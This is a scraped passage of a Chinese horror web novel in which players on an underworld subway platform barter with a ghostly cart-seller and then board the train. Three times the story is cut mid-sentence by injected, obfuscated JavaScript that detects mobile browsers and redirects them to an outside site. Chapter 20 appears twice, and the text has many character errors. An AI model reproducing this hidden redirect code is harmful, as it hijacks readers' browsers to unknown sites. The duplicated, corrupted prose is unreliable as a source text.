虞璃这会儿精神劲儿不足,简单弄明白眼下情况,便尝试开启游戏机,准备地铁到来之前打会儿游戏。反正梦境里的其他角色要是出场了,她再随机应变也不迟。 说曹操曹操就到。 不远处忽起一声怒喝。“什么鬼游戏?!是什么人在搞鬼?老子没工夫陪你浪费时间!开个价,马上安排人给你转账!” 虞璃嚼着口香糖,瞥去一眼。 男人穿得人模人样,西装革履,这装扮像是一名成功人士,不过听他这一开口,虞璃干脆利落地把炮灰头衔安在他脑袋上。 旁边穿着职业套装的女人涂有一张烈焰红唇,此刻正秀眉微蹙,低头看着手机屏幕,似乎确认了什么,她咬紧唇瓣,眉头蹙得更紧。 “它说得果然没错!这拟真度——啧啧啧,要是真出全息游戏,也就是这样了吧?”说话的男生个头和虞璃相若,虞璃估摸着他身高不会超过一米七五。 他眉宇间全无担忧与恐惧,反倒满是兴奋与好奇,眼珠滴溜溜转着打量周遭的一切。 在他和自己对上眼神的前一秒,虞璃迅速低下了头。 “只有我们四人吗?”最后一名男生有些紧张地开口。这两人声音都很年轻,从着装和一扫而过的面容看像是大学生。 “那边还——”兴致颇高的那名男生还没说完就被炮灰男怒冲冲打断。 "谁管这里有几个人?我拒绝玩这鬼游戏,你们想玩不要拖老子一起。”男人说着掏出手机,黄豆大小的两只眼睛狠狠瞪着手机,“老子现在就联系——" 他如同被掐住脖子的大鹅,瞳孔不可思议地放大,挪动脚,往旁边走了几步。 “信号呢!” “这里肯定没有信号啊。”被打断的男生没好气道,“刚才的系统声音很明显都是凭空出现又凭空消失的,难不成你进来前有看见音响或者手机处于通话状态吗?”男人压根不听他的话,瞪着那双混浊的眼睛固执己见:“胡说八道!地铁站里怎么可能没有信号?”“……这又不是现实里的地铁站。”另一名男生弱弱地说,被男人瞪上一眼立刻畏畏缩缩地低下了头。 女人冰冷的嗓音传入几人耳中。 “动用你贫瘠的大脑思考一下,正常的地铁,会从‘鬼门关''开往‘阳间''么?” “就算你说有的站名很奇怪,但中土官方取名本来就会避讳这些,这是中土传统。” 女人语气淡了些。 "接受现实吧。想要离开这里,必须照那个声音所说的做。" “许晓红,什么时候轮到你教我做事了?”方才大声吵闹,发疯一般的男人此刻虽然神情怒不可遏,但是话音已经平静不少,总算有了点“成功人士”的样子。虞璃耳边终于重归平和。 游戏机屏幕里,受她操纵的小人熟练越过一个个障碍物,马上就要通关了。 20、延误的地铁【一更】 “我倒是也不想教您做事。”被叫出名字后,许晓红换上了敬语,“可刚才看您实在不太冷静,像是中了邪。否则以您平时的机敏过人,怎么可能考虑不到这些?” 男人满是怒气的脸微微僵硬,他像是终于听懂了什么,脸涨红着说:“…咳咳。你说得不错。” 旁边较为怯懦的男生B悄悄松了口气。先开口解释的男生A则有些惊异地问:“你们居然认识?” “废话。”男人不耐烦地说。 许晓红:"他是我老板。" “噢噢。”男生A挠了挠头,“我还以为这种游戏大家都是从各地被抽选的呢。”“不是的。”男生B小声说,“我认识你。”“啊咧?”男生A惊讶极了。 男生B:“我们一个专业,你是我学长。开学不久还给我们做过经验分享。” 男生A: "哦!是有这么一回事,我自己都快忘了,你居然还记得。" "行了!这是给你们交朋友的地方吗?" 男人话音未落,地铁站的播报声音再次响起:“尊敬的各位乘客,十分抱欺地告知您因本次列车发生多起到站前乘客强行下车事件,列车不得不延时抵达,十分钟后列车进站,请乘客们耐心等待…” 四人俱是一愣。 男生A说:"乘客强行下车?难道还有和我们一样的玩家?" 许晓红赞同这个说法:“有可能。小朋友,你似乎挺了解这个游戏?” “算不上吧。”男生A说,“我叫张旭峰,在Z大读书,平时喜欢看一些网络恐怖小说,其中有一类描写的内容和我们现在面临的情况颇为相似,所以有些参考。”“原来如此。”许晓红说,“我老板姓刘,你们可以叫他刘哥或者刘总。我们对这类小说涉猎不多,如果待会儿你们有什么想法请随便说,说错也没关系。”张旭峰:“当然没问题,本来大家就该齐心协力互帮互助。”说完,张旭峰问男生B:“你叫什么名字?” “陈、陈佑。”男生紧张地说。 张旭峰一下搂过他的肩膀:“别紧张啊。你看,大家都是好人。”男生抿唇不语。 片刻后又主动开口:“那……那边那个也是吗?”“哪个?”许晓红看男生不由自主往右侧瞟的眼神,立刻朝那边看了过去。 这时,"didibiubiu——Successfully!"欢快背景音伴随可爱的通关音效突然响起。 四人纷纷看向声音传来的不远处。 那里站着一名高个女生,白色长卷发如流水一般柔顺垂落身后,侧颜精致漂亮,像是影视节走红毯的女明星。 她腮帮一鼓一鼓的,显然是在嚼着什么东西。音效来自手里的游戏机,此刻正被她往西服口袋里揣。 她装东西的动作忽地一顿,察觉到什么般朝他们的方向看来。 被她正眼看着,所受视觉冲击更甚。 那是一种令人窒息的美,所有人都情不自禁地屏息,唯恐打破这份宁静。“——你是谁?”出乎意料地,刘姓男人率先开口。女生这才继续动作,游戏机被完全塞进宽大的口袋:“你们已经讨论完了吗?” 她已经在旁边听了许久。 许晓红思虑着,女生也是玩家么?那她为什么之前一直在旁边,却完全不参与他们的对话?在等他们说完吗?毕竟他们对话那么久,有含金量的内容却寥寥无几。 “其实……还没开始。”张旭峰诚实地说。"噢。"女生点点头,并不意外。 她没有继续话题的意思,张旭峰却不打算在此终止:“你也是玩家吧?不来和我们一起讨论吗?” 女生:“我为什么要和你们一起?”“团结力量大嘛!”张旭峰说。 女生没有接话,目光也好似不再停留张旭峰脸上。 十分清晰的滚轮声从张旭峰身后响起,又将四人目光引向另一个方向。 不过在看清是什么东西之前,刘总趁着转身呸了一嘴:“小毛孩架势倒不小。” 面前一辆手推车越靠越近,滚轮声在空旷少人的站台内回荡,推车的婆婆年岁已高,皱巴巴的皮肤将眼睛挤成一条细细的缝。 推车里装着各色零食饮料,第二、三层还有包子、煎饼、臭豆腐、螺师粉等等,甚至还有布偶洋娃娃和卡通玩具车,好视力的虞璃还依稀看见了芭比厨房和玩具小刀。……这东西怎么着都不该出现在地铁站台吧? 那么窄的安检闸机,婆婆您到底是怎么推进来的? 虞璃通关的时间比她所想迟了许多,因为在最后一小段关卡,突然响起的播报声让她没能顺利操纵小人完成最后的三段跳。…不得不从前一个存档点开始。 很好,这让她想起了在家打掘地求生和喵里奥的悲惨假期。 ——那俩玩意儿甚至连存档点都没有,是在某站上逼疯n个主播的变态辣鸡游戏。 白发苍苍的婆婆拖着几厘米几厘米的步子,慢慢走近。然后,在四人的玩家堆旁,停下脚步。她睁眼看人时,像是老树树皮上的洞:“要坐车啊。” 她语气微微亲和,又不过分,语调并不十分诡异,带着一丁点儿料定的感叹。没等玩家们给予或肯定或否定的回复, 她又轻轻地道:“买点东西吧。”虞璃嚼着渐渐没味的口香糖,想着是不是该把它吐掉了。她看向四周,试图找到一个垃圾桶。 玩家四人离得近,刘总想抬手赶这老人走开,许晓红稍稍拦了一下他才作罢,之后许晓红低头思忖,她从刚才老人的声音里听出了一点惋惜。张旭峰示意三人靠近一点,低声说:“我刚刚往后面看了,咱们站台两边也和地铁轨道一样,看不见尽头,这老婆婆肯定有问题。”“还用你说?”刘总鼻孔朝天,“长了眼睛的都知道。”“可是……”陈佑小心翼翼地说出自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832595|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的想法,“如果她真是那种东西,要是我们什么也不买、又不搭理她,她会不会生气?” “这……”张旭峰原本就想这么提议,但他也想到了这一点,正有些犹豫,还没什么突破就被陈佑说出来了。 “这算什么难事?”刘总看不上这两人畏首畏尾瞻前顾后的样子,到底只是年轻人。 许晓红看了虞璃一眼,无声默认。 张旭峰见两人这一语一瞥,立马明白了两人的意思,但是他有些抵触这样拿别人做探路石的办法,下意识道:“这不太好吧?” 还晃了晃陈佑:“学弟你说是不是?车还没来,我们应该有时间,先周旋一下——” “喂!”刘总身体力行地表达对自己主张的肯定,“垃圾桶旁边那个,你过来!” "老婆婆,"他又对老人说, "那位也是和我们一起的,她也可以买吧?" 婆婆抬起乌黑的眼睛,很奇怪,中土人大多眼睛仔细分辨其实是褐色或是棕色,有的上了年纪还会越来越浅,推车的这个婆婆眼睛却是实打实的黑色,是西方国家故事里象征不详的黑乌鸦皮毛 般的颜 色。 更诡异的是,她的眼白太少了,少到几乎看不见。因此被她那双眼睛沉默地盯着,人会不由自主地升起一股毛骨悚然之感。 饶是刘长青这样在商海里打过滚,小小翻云覆雨,自认见过些世面的商人,也不禁心头一紧,难以自抑地咽了咽口水,语气更加尊敬:“老婆婆?” 婆婆级缓移开那双看得人直发毛的黑眼睛,看向已走至身前的女孩,她脸上那些皱纹爵时跟有了灵魂 般,又如同舞台上不断移动的追光、微风吹拂过后泛起波纹的水面,一阵 阵地从下巴到额头,抖动了起来! 那番情景,惊得许晓红等人面露惊骇,齐齐吓得后退一步,就站在推车前的刘长青更是直接后退三步,脸色惨白。 只余婆婆面前的漂亮女孩神色自若。 “婆婆,您觉得呢?”她还颇为乖巧地盈盈笑着,像是没有察觉出任何异常,也没有丝毫被人当饵料用了的警觉,就那么自然地,如同扶老奶奶过马路的好孩子一样,主动地问道。 婆婆浑黑的眼珠一动不动。 枯老起皱的手也僵硬地握在车把上。 她努力尝试着像以往一般,熟练翘起苍白唇角,阴惨惨从喉间发出一声哂笑,再平静地吐出那些令玩家多加揣测心慌意乱的台词。 但是——! 但是只要对上面前这张漂亮精致的脸蛋,她积蓄的气场与力量霎时间荡然无存! 苍天啊大地啊伟大的冥界之主啊——求求来个明白人告诉她,这浑身上下都散发着新鲜活气的小女孩,怎么会被当成将死之人的魂魄进到她们survivor? 她是来打工的,不是来送命的。——难道老年鬼的命就不是命了吗?! 20、延误的地铁【一更】 “我倒是也不想教您做事。”被叫出名字后,许晓红换上了敬语,“可刚才看您实在不太冷静,像是中了邪。否则以您平时的机敏过人,怎么可能考虑不到这些?” 男人满是怒气的脸微微僵硬,他像是终于听懂了什么,脸涨红着说:“…咳咳。你说得不错。” 旁边较为怯懦的男生B悄悄松了口气。先开口解释的男生A则有些惊异地问:“你们居然认识?” “废话。”男人不耐烦地说。 许晓红:"他是我老板。" “噢噢。”男生A挠了挠头,“我还以为这种游戏大家都是从各地被抽选的呢。”“不是的。”男生B小声说,“我认识你。”“啊咧?”男生A惊讶极了。 男生B:“我们一个专业,你是我学长。开学不久还给我们做过经验分享。” 男生A: "哦!是有这么一回事,我自己都快忘了,你居然还记得。" "行了!这是给你们交朋友的地方吗?" 男人话音未落,地铁站的播报声音再次响起:“尊敬的各位乘客,十分抱欺地告知您因本次列车发生多起到站前乘客强行下车事件,列车不得不延时抵达,十分钟后列车进站,请乘客们耐心等待…” 四人俱是一愣。 男生A说:"乘客强行下车?难道还有和我们一样的玩家?" 许晓红赞同这个说法:“有可能。小朋友,你似乎挺了解这个游戏?” “算不上吧。”男生A说,“我叫张旭峰,在Z大读书,平时喜欢看一些网络恐怖小说,其中有一类描写的内容和我们现在面临的情况颇为相似,所以有些参考。”“原来如此。”许晓红说,“我老板姓刘,你们可以叫他刘哥或者刘总。我们对这类小说涉猎不多,如果待会儿你们有什么想法请随便说,说错也没关系。”张旭峰:“当然没问题,本来大家就该齐心协力互帮互助。”说完,张旭峰问男生B:“你叫什么名字?” “陈、陈佑。”男生紧张地说。 张旭峰一下搂过他的肩膀:“别紧张啊。你看,大家都是好人。”男生抿唇不语。 片刻后又主动开口:“那……那边那个也是吗?”“哪个?”许晓红看男生不由自主往右侧瞟的眼神,立刻朝那边看了过去。 这时,"didibiubiu——Successfully!"欢快背景音伴随可爱的通关音效突然响起。 四人纷纷看向声音传来的不远处。 那里站着一名高个女生,白色长卷发如流水一般柔顺垂落身后,侧颜精致漂亮,像是影视节走红毯的女明星。 她腮帮一鼓一鼓的,显然是在嚼着什么东西。音效来自手里的游戏机,此刻正被她往西服口袋里揣。 她装东西的动作忽地一顿,察觉到什么般朝他们的方向看来。 被她正眼看着,所受视觉冲击更甚。 那是一种令人窒息的美,所有人都情不自禁地屏息,唯恐打破这份宁静。“——你是谁?”出乎意料地,刘姓男人率先开口。女生这才继续动作,游戏机被完全塞进宽大的口袋:“你们已经讨论完了吗?” 她已经在旁边听了许久。 许晓红思虑着,女生也是玩家么?那她为什么之前一直在旁边,却完全不参与他们的对话?在等他们说完吗?毕竟他们对话那么久,有含金量的内容却寥寥无几。 “其实……还没开始。”张旭峰诚实地说。"噢。"女生点点头,并不意外。 她没有继续话题的意思,张旭峰却不打算在此终止:“你也是玩家吧?不来和我们一起讨论吗?” 女生:“我为什么要和你们一起?”“团结力量大嘛!”张旭峰说。 女生没有接话,目光也好似不再停留张旭峰脸上。 十分清晰的滚轮声从张旭峰身后响起,又将四人目光引向另一个方向。 不过在看清是什么东西之前,刘总趁着转身呸了一嘴:“小毛孩架势倒不小。” 面前一辆手推车越靠越近,滚轮声在空旷少人的站台内回荡,推车的婆婆年岁已高,皱巴巴的皮肤将眼睛挤成一条细细的缝。 推车里装着各色零食饮料,第二、三层还有包子、煎饼、臭豆腐、螺师粉等等,甚至还有布偶洋娃娃和卡通玩具车,好视力的虞璃还依稀看见了芭比厨房和玩具小刀。……这东西怎么着都不该出现在地铁站台吧? 那么窄的安检闸机,婆婆您到底是怎么推进来的? 虞璃通关的时间比她所想迟了许多,因为在最后一小段关卡,突然响起的播报声让她没能顺利操纵小人完成最后的三段跳。…不得不从前一个存档点开始。 很好,这让她想起了在家打掘地求生和喵里奥的悲惨假期。 ——那俩玩意儿甚至连存档点都没有,是在某站上逼疯n个主播的变态辣鸡游戏。 白发苍苍的婆婆拖着几厘米几厘米的步子,慢慢走近。然后,在四人的玩家堆旁,停下脚步。她睁眼看人时,像是老树树皮上的洞:“要坐车啊。” 她语气微微亲和,又不过分,语调并不十分诡异,带着一丁点儿料定的感叹。没等玩家们给予或肯定或否定的回复, 她又轻轻地道:“买点东西吧。”虞璃嚼着渐渐没味的口香糖,想着是不是该把它吐掉了。她看向四周,试图找到一个垃圾桶。 玩家四人离得近,刘总想抬手赶这老人走开,许晓红稍稍拦了一下他才作罢,之后许晓红低头思忖,她从刚才老人的声音里听出了一点惋惜。张旭峰示意三人靠近一点,低声说:“我刚刚往后面看了,咱们站台两边也和地铁轨道一样,看不见尽头,这老婆婆肯定有问题。”“还用你说?”刘总鼻孔朝天,“长了眼睛的都知道。”“可是……”陈佑小心翼翼地说出自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832596|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的想法,“如果她真是那种东西,要是我们什么也不买、又不搭理她,她会不会生气?” “这……”张旭峰原本就想这么提议,但他也想到了这一点,正有些犹豫,还没什么突破就被陈佑说出来了。 “这算什么难事?”刘总看不上这两人畏首畏尾瞻前顾后的样子,到底只是年轻人。 许晓红看了虞璃一眼,无声默认。 张旭峰见两人这一语一瞥,立马明白了两人的意思,但是他有些抵触这样拿别人做探路石的办法,下意识道:“这不太好吧?” 还晃了晃陈佑:“学弟你说是不是?车还没来,我们应该有时间,先周旋一下——” “喂!”刘总身体力行地表达对自己主张的肯定,“垃圾桶旁边那个,你过来!” "老婆婆,"他又对老人说, "那位也是和我们一起的,她也可以买吧?" 婆婆抬起乌黑的眼睛,很奇怪,中土人大多眼睛仔细分辨其实是褐色或是棕色,有的上了年纪还会越来越浅,推车的这个婆婆眼睛却是实打实的黑色,是西方国家故事里象征不详的黑乌鸦皮毛 般的颜 色。 更诡异的是,她的眼白太少了,少到几乎看不见。因此被她那双眼睛沉默地盯着,人会不由自主地升起一股毛骨悚然之感。 饶是刘长青这样在商海里打过滚,小小翻云覆雨,自认见过些世面的商人,也不禁心头一紧,难以自抑地咽了咽口水,语气更加尊敬:“老婆婆?” 婆婆级缓移开那双看得人直发毛的黑眼睛,看向已走至身前的女孩,她脸上那些皱纹爵时跟有了灵魂 般,又如同舞台上不断移动的追光、微风吹拂过后泛起波纹的水面,一阵 阵地从下巴到额头,抖动了起来! 那番情景,惊得许晓红等人面露惊骇,齐齐吓得后退一步,就站在推车前的刘长青更是直接后退三步,脸色惨白。 只余婆婆面前的漂亮女孩神色自若。 “婆婆,您觉得呢?”她还颇为乖巧地盈盈笑着,像是没有察觉出任何异常,也没有丝毫被人当饵料用了的警觉,就那么自然地,如同扶老奶奶过马路的好孩子一样,主动地问道。 婆婆浑黑的眼珠一动不动。 枯老起皱的手也僵硬地握在车把上。 她努力尝试着像以往一般,熟练翘起苍白唇角,阴惨惨从喉间发出一声哂笑,再平静地吐出那些令玩家多加揣测心慌意乱的台词。 但是——! 但是只要对上面前这张漂亮精致的脸蛋,她积蓄的气场与力量霎时间荡然无存! 苍天啊大地啊伟大的冥界之主啊——求求来个明白人告诉她,这浑身上下都散发着新鲜活气的小女孩,怎么会被当成将死之人的魂魄进到她们survivor? 她是来打工的,不是来送命的。——难道老年鬼的命就不是命了吗?! 21、上车【有增加】 久久得不到回复,女孩担忧地上前一步,垂蓉之年的婆婆立即摆紧了推车车把,心里不断重复:不能退!不能退!作为备受敬仰的老年鬼怪,她就算是死到临头,也绝不能丢弃属于资深鬼怪的尊严! 由此反复为自己鼓劲后,婆婆把推车往女孩的方向带了带。 “选,选吧!” 女孩低头略扫一遍,又惊又喜地道:“随便挑吗?” 婆婆:".…嗯、嗯!" 围观的四名玩家完全不知两人各自内心所想,只看出这个老婆婆好像有点想和女孩保持距离,但是又对卖出东西十分执着。 ……难道危险的不是这名老人,而是这辆手推车里的东西? 想到这里,许晓红不由得开口,想要确认自己的猜测:“阿婆,我们每个人都必须要买么?” 婆婆的黑眼珠立刻盯了过来,这次许晓红没有再试图回避,她竭力抑制住自己扭头的冲动,睁大眼和老人对视。 片刻后,婆婆说:“一人只能挑一样。” 许晓红常年与人交际,对言语十分敏感,当下立刻知晓这句话如果是对她两个问题的回答,那么东西就不是必须要买的。 “婆婆,东西的价格一样吗?”张旭峰也提出一个问题。 婆婆的目光又是一转,笑容怪异:“一件东西,一张车票。” 刘长青才好转的面色又是一白:“什么意思?!打什么哑谜——”许晓红马上拽了下刘长青的西服袖口,刘长青话音-顿,低声唾骂道:“真是上了年纪,话都说不清楚!” “你们怎么看?”许晓红安抚住自家老板,才看向两名大学生。 张旭峰:“我们先找找车票。”他边说边将手伸进衣服口袋,上上下下找了个遍,功夫不费有心人,从牛仔裤臀兜里摸出一张地铁票。 只一眼大家就发现这张地铁票和寻常地铁票不同,不是简简单单的单程票,而是更像火车票、动车票,上面书写着本人名姓、列车班次、发车时间。 有两点让它看上去比起火车票更像地铁票: 一、没有特定座次。 二、左上角有一行小字:黄泉地铁祝您旅途愉快。小字领头是黄水红桥的标志,摆明了代表黄泉水和奈何桥。 ……要多阴间有多阴间。 接着,刘长青从西装外套内衬、许晓红从随身挎包、陈佑最奇葩——从连帽卫衣的帽子里,各自找到了自己的车票。 毫无疑问,一张车票对应一名乘客,没有多的。老婆婆手推车里的东西却是要用车票来换。 那么问题来了。 如果交换车票,他们还能顺利坐上这次列车吗? 张旭峰认为车票代表乘客的身份。 在很多无限流小说中,失去车票的玩家会同时失去“乘客”身份,从而丧失一些游戏给予的保护措施,受到鬼怪攻击或者直接游戏结束。 他不想交换车票。 “你们……”陈佑小声提醒三人,“你们看那边,那个女生,她选好东西了。”三人迅速转头,表情或错愕或奇怪或轻蔑。 推车边的美貌女生接过老婆婆递来的布偶小狗,还有一个黑色小袋子装着,又圆又方的不知什么东西。 三人不约而同地想,老婆婆不是说一人只能选一样吗?女生为什么拿了两样? 许晓红:"阿婆,她这是……" 婆婆:“如果不想拿车票换,就必须从这两层再选一样,并且带上车。” 居然还有第二种交易办法! 四人眼睛一亮。 可是稍微一想,许晓红又有些踌躇。 包子、煎饼、臭豆腐、螺蛳粉。 这四样东西,前两样还好,后两样间起来文在是大糟糕了 她听用朋友说起过:有次吃螺如粉没关阳台门,结果修遣隔壁邻居投诉,敞开门被教育了十多分钟,全楼道的住户都出来看热闹,绝对称得上社死现场。虽然朋友的口腹之欲没被抹杀,但是许晓红的尝试欲望彻底夭折。 许晓红犹豫的一小会儿功夫,她的老板刘长青已经和老婆婆达成了玩家团队的第二次交易。“列车一分钟后即将进站,停靠时间为三分钟,请乘客们不要拥挤,有序乘车……”婆婆: "抓紧时间,要收车了。"许晓红身侧有人忽地动了。她本以为是张旭峰,定睛一看才发现是有些怯懦的陈佑。 这时她陡然想起,回顾从见面到现在陈佑的所言所行,看似胆小瑟缩,实则善于观察思考,少有疏漏。 许晓红信任自己的识人能力,这下便不再犹豫,赶上前站到陈佑身后,开始挑选手推车里满满当当、让人眼花缭乱的商品。 很快,站台边缘的地标闪烁起来。 原本往推车附近迈了一步的张旭峰动作一顿,老婆婆挥挥手打发他们:“该上车了。” 张旭峰收回左脚,他失去了购买商品的机会。 眼下,张旭峰只能安慰自己,不购买才是正确的选择,然而他的内心却不由自主地倾向了多数人的那端。 先前由于看过多部无限流作品而自诩领先的他,此刻逐渐开始心态失衡,心理压力层层增加,迫不及待地想要发生点什么事情来证明自己,让同伴 意识到他的价值。 地铁站台有多个固定门,虞璃一人站在9号门前,其他人都在10号门。虞璃刚才到现在一直在注意四名玩家有没有和婆婆交易,所以现在她非常清楚三次交易的情况: 姓刘的男人选了一瓶橙味饮料,附赠一袋包子。许晓红选了一辆卡通玩具车,附赠一小号桶装臭豆腐。陈佑选了一个洋娃娃(?),附赠一包煎饼。张旭峰两手空空,没有进行交易。 目前等待上车的次序为:老刘、许晓红、陈佑、张旭峰。 列车飞驰而来的声音近了。 虞璃看向站台外黑洞洞的列车隧道,亮着光的车头奔向等候已久的乘客,白色的灯光将几无空位的车厢照得清清楚楚。 列车进站,车速减缓。 一号车厢门边站着两个少女,虞璃看清她们脸上焦急的目光。 其中一名,在看清等候的几人时神情骤变。 除此之外,车厢内的乘客神色各异,各自做着自己的事情,看不出有什么怪异之处。 叮—— 列车到站。 车门一开,两名少女立即下车,前几秒变过脸色的那名少女飞快跑向四人。 这时,虞璃才看清她们上身的深色与花纹不是自己以为的原有装饰,而是浸染布料的人血!她们被车门挡住的下半身所穿长裤更是血迹斑斑。虞璃:这是什么在逃杀人犯装扮?好刺激!“姑姑!”那名少女扑进许晓红的怀里。许晓红显然也大吃一惊,她紧紧搂住侄女:“莹莹?!你怎么会在这里?” “我不知道……”少女眼眶微红,她应该经历了很不好的事情,这时见到自己的亲人却没有倾诉抱怨,而是仰头看着许晓红。 她目光认真,语气坚决。 "姑姑,先不要上车。" 她迅速看了一遍站台上的玩家,神情突然变得有点古怪:"….…你们都买了东西?" "不是买的。”许晓红说,“免费选一赠一。" 先前没跟过来的另一名少女,拿着带有包装盒的一把玩具刀和一瓶可乐跑了过来:“莹莹,你好了没?”“好了。”莹莹接过她递来的可乐,“可以上车,他们都换了东西。”张旭峰赶忙开口:“等等,我没买!”“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832597|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .…”两名少女同时沉默。 两三秒后,莹莹说:“抱歉啊哥哥,婆婆已经走了,上车再说吧。”张旭峰捏紧放在裤缝旁的右拳,压抑着逐渐掉入低谷的情绪问:“交易很重要么?”莹莹摇头:“也不是必须的。” 张旭峰稍稍松了口气,心理压力巨大的他没有察觉少女答非所问。玩家们挨个上车,九、十车厢都还有空位,只是略为分散。 莹莹眼疾手快抢占一处,招呼许晓红和另一名少女一左一右挨着她坐。 这样一来,那一处便没有空位再给别人了。 许晓红走过去之后没有立马坐下,而是为难地看向刘长青。 刘长青此时颇为豪爽地一摆手:“坐啊,刚好你们仁坐一块,我们仁汉子坐一块。”虞璃理所当然被男人忽略了,毕竟他从没把这个小年轻归进自己的团队里。 许晓红的挎包被莹莹拽了拽,许晓红低头疑惑地看她,莹莹拍拍身旁少女的肩膀,三人低声交谈了几句。最后许晓红点了点头:“老板,您还是得过来坐,俩小姑娘我照应不过来。”这话说得人十分舒坦,很踩在男人的点上。他当即没半分思索便迈步走了过来。 不知名姓的少女也自然起身,向张旭峰和陈佑二人走去。这些事情,上车后就坐下的虞璃毫不关心,她在思考别的问题。为什么这些座位留得恰到好处?如果是按先后次序排,难道不应该是二五或者二一四? 为什么恰好是一三三? 假设设置者率先知晓许晓红和莹莹的亲戚关系,那也有多种分配方式,毕竟就像现在这样,莹莹和同行的少女并不是必须绑定的关系。-==的座位排布,事实上充分照顾了玩家,而在玩家之中,虞璃又极为特殊——这点虞璃从两次传送和上一次梦境见鬼的各种细节早有领会。在这种游戏里,很少有人在情况不明的前提下,真心愿意脱离群体。因此玩家愿意主动往单人座上坐的概率无限接近于零。 于是,反推虞璃坐在这里的概率,必然无限接近于百分之百。 剩下的玩家分成两组,正好现在所有人里明白情况的人不多不少,刚好两位。 如果她们愿意,那除了虞璃,所有玩家都能得知关于这列地铁的线索,以此降低玩家的死亡率。 如果她们不愿意….. 已经体验过地铁服务的两人,恐怕十分清楚在密闭空间内,尤其玩家还被限制在同一个车厢,行差踏错带来的严重连锁反应。而且,刚才上车前两人的谨慎已然证明,她们会做出对自己更好的选择,同时也懂得顾及他人的心理状态。 除此之外,把玩家分成两组,也有利于之后制造矛盾,使玩家相互猜忌。 虞璃思路十分清晰。所以事实上,她真正疑惑的是—— 这太符合逻辑了。 合理到让她觉得不合理。 这个梦境中的无限流游戏设置太缜密了。梦境由许多意识碎片无规则地拼凑而成,它应该是人 处于清醒状态下时会觉得怪异的。 不一定漏洞百出,但是绝不可能底层逻辑完全合理。虞璃掏出手机解锁,快速划过、点击。 越划越觉得心惊。梦里,能够完整复刻一部和她手机完全相同的设备吗? 几十近百款软件以及对应的游戏缓存、聊天记录。朋友圈、空间等社交平台发布的信息。相册里数千张网络保存的图片与现实拍摄的照片。 “尊敬的乘客,欢迎您乘坐S404号黄泉地铁列车,本次列车将由鬼门关]开往阳间],本次列车全体乘务人员忠心祝您旅途愉快……”原本站台上的灯光照着有如白昼,此刻虞璃一回神,地铁玻璃车窗外漆黑一片,车厢内的灯光似乎也比上车时暗淡了些许。 地铁驶离了站台。 22、死人【一更】 原本许晓红三人坐在一块儿时,名叫莹莹的少女坐在中间,等到刘长青走过来,莹莹便和许晓红又换了个位置。 “你这妹子身上是怎么弄的?”那么明显的血迹,刘长青无论如何也不能忽略。 许晓红没替莹莹遮掩,她也很想知道。 莹莹握紧可乐瓶,低头沉默了一小会儿。伴随着列车发动的声音,她轻声开口。 “游戏开始的时候,我们有五个人。” 许莹莹是在疲惫与轻微疼痛中醒过来的。醒来时,她站在空旷的站台上,手里攥着一张边角因用力而起皱的车票。 她迷迷糊糊地记起,先前脑海里似乎有个声音,让她参加什么游戏,完整乘坐一次地铁就算通关。她不记得是怎么来到这里的,原本应该要去做什么也忘记了。但是,家人、朋友、老师、同学……她的社会记忆还很清晰。“都过来了!”一个戴着草编帽的年轻男人招呼道。许莹莹抿了抿唇,把车票塞进兜里,跟着其他人一起走到男人身边。 起先男人询问众人都是怎么来到这里的,为获取信任充当表率,他先把自己知道的都说了出来。 许莹莹觉得他很愚蠢,这样问出来,原本不知道怎么回事的人都可以浑水摸鱼,这里的人她一个也不认识,怎么推断别人说的是真话还是假话?接着男人确认所有人都和他一样,十分高兴,又带头做了自我介绍,然后发散思维开始大讨论,很快就因为意见不同争执起来。 许莹莹前后就说了两句话,“我也是因为一个游戏来这里的”和“我叫许莹莹”,剩下的时间都用来观察环境和其他人。 除了草编唱和她,还有一个比她高半个头的女生,看上去有点凶,名叫张梦;一个皮肤状态不太好的中年男人,他身上有一股很难间的气味,吵架的时候声音很大,许莹莹最开始被吓了一跳;一个个头 比较矮,长相让人很不舒服的男人,他的背一直勾着,许莹莹看他都得垂下眼。 他们的名字许莹莹都没记住,唯独张梦的名字她记得一清二楚。 可能因为对方是年纪相仿的女生,也可能因为对方说话时吐词清晰平和,眼睛里藏有一点湖面上掠过的月光。而且张梦和她一样,都没参与混乱的争吵,只是区别于她的是,张梦出言终结了三人的骂战。"几位大哥能不能帮忙找找附近有没有时钟,咱们都到这儿这么久了,车半天不来。"三人纷纷停下,同时看了她一眼,随后对另外两人露出一种“小姑娘都比你俩懂事”的表情,齐齐扭头去找哪里显示时间了。 许莹莹:好聪明! 这下通过那一瞬间的神情变化,许莹莹就能确定他们是真有车要坐还是装的了。 